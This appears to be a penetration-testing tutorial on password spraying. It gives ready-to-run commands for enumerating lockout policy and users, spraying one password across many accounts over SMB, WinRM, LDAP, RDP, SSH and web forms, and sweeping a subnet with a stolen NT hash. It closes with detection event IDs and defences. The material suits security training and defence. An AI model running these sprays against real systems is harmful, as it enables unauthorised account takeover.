the_open_door
coffee
ESEN
← Back to index

Password Spraying

ATT&CKT1110.003
Full command arsenal in the cheatsheet

Password spraying is a credential-guessing attack that inverts the logic of classic brute force. Instead of trying many passwords against one user (which triggers account lockouts), it tries one password (or a handful) against many users. That avoids the lockout and takes advantage of the fact that, in any organization with enough accounts, someone tends to reuse a known or weak password.

First step: learn the password policy

Spraying blind locks accounts and gives the attack away. First you find out the lockout threshold (lockoutThreshold), the observation window (lockoutObservationWindow) and the lockout duration, so you always stay below the threshold. With valid credentials or, in many domains, over a null session:

netexec smb <ip> -u <user> -p <pass> --pass-pol      # full policy
enum4linux-ng -P -oA ilfreight <ip>                  # policy without credentials (if the null session allows it)
rpcclient -U "" -N <ip> -c "querydominfo;getdompwinfo"
ldapsearch -h <ip> -x -b "DC=<dom>,DC=<tld>" -s sub "*" | grep -i -m1 -B10 lockoutThreshold

From Windows: net accounts (local machine) or PowerView's Get-DomainPolicy (domain). If the threshold is 5 and the window 30 min, you try one password per round and wait for badPwdCount to reset before the next. A lockoutThreshold = 0 means there is no lockout: you can spray without limits.

Gather users and candidate passwords

You need two lists. The user list comes from enumeration: RID cycling, kerbrute userenum, LDAP, RPC, OSINT or the firstname.lastname pattern:

kerbrute userenum -d <domain> --dc <dc> jsmith.txt
netexec smb <ip> -u <user> -p <pass> --users        # pulls samAccountName if you already have creds
enum4linux -U <ip> | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"

The password list is built with judgement, not the whole rockyou.txt (that would lock accounts): season plus year (Autumn2024, Spring2024!), the company name, Welcome1, Password123, the username itself as the password, and any credential already leaked or seen in a share.

Spray

netexec/crackmapexec validates one pair per user against SMB; grep + clears the failures:

netexec smb <ip> -u <users.txt> -p 'Welcome1' --continue-on-success | grep '[+]'
kerbrute passwordspray -d <domain> --dc <dc> <users.txt> 'Welcome1'

A [+] marks a valid pair; a STATUS_LOGON_FAILURE (or [-]), a failure. From a domain-joined machine, DomainPasswordSpray.ps1 automates the spray by reading the user list from AD itself and respecting badPwdCount:

Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_ok -ErrorAction SilentlyContinue

The service under attack need not be SMB: the same logic works against ldap, winrm, mssql, rdp, ssh or a web panel. netexec just swaps the protocol; for HTTP and SSH you fall back to hydra:

netexec winrm <ip> -u <users.txt> -p 'Welcome1' --continue-on-success | grep '[+]'
netexec ldap <ip> -u <users.txt> -p 'Welcome1' --continue-on-success | grep '[+]'
netexec mssql <ip> -u <users.txt> -p 'Welcome1' --continue-on-success | grep '[+]'
netexec rdp <ip> -u <users.txt> -p 'Welcome1' --continue-on-success | grep '[+]'
netexec ssh <ip> -u <users.txt> -p 'Welcome1' --continue-on-success | grep '[+]'
hydra -L <users.txt> -p 'Welcome1' ssh://<ip>
hydra -L <users.txt> -p 'Welcome1' <ip> http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

And when what you have is an NT hash instead of a password, the spray is done with Pass-the-Hash against the local administrator account of a whole subnet, using --local-auth to force a single attempt per host and avoid locking domain accounts:

netexec smb <subnet> --local-auth -u administrator -H <hash> | grep '[+]'

Requirements

A credential-validating service that is reachable, a user list and at least one candidate password. The decisive factor is the lockout policy: without knowing it, the attack is a risk. A hit is only the first step; it is worth validating the pair against several services (netexec smb/winrm/ldap) to learn what it actually opens.

How to detect it. The telltale pattern is many distinct accounts each with a single failure from one source in a short window, the exact opposite of brute force. Over SMB/NTLM it appears as a burst of Event ID 4625 (failed logon) with Sub Status 0xC000006A (bad password); against Kerberos, as 4771 (pre-authentication failure) with failure code 0x18; and on the DC, as failed 4776. Effective detection does not count failures per account (each has one) but failures per source and the number of unique accounts affected. A late success (a valid 4624) after the burst marks the account already compromised.

Defence. Strong password policies that rule out the season+year patterns, MFA (so a valid pair alone is not enough to get in), Azure/Entra smart lockout, and per-IP lockouts on top of per-account ones, to cut the spray's rhythm before it lands. Disabling legacy authentication (NTLM, protocols without MFA) closes the most sprayed avenues. It relies on RID cycling and guest/null enumeration for the user list, and leads to credential reuse.

ToolsrpcclientNetExeckerbruteusername-anarchysshpassMedusaCrackMapExec

Machines where it's used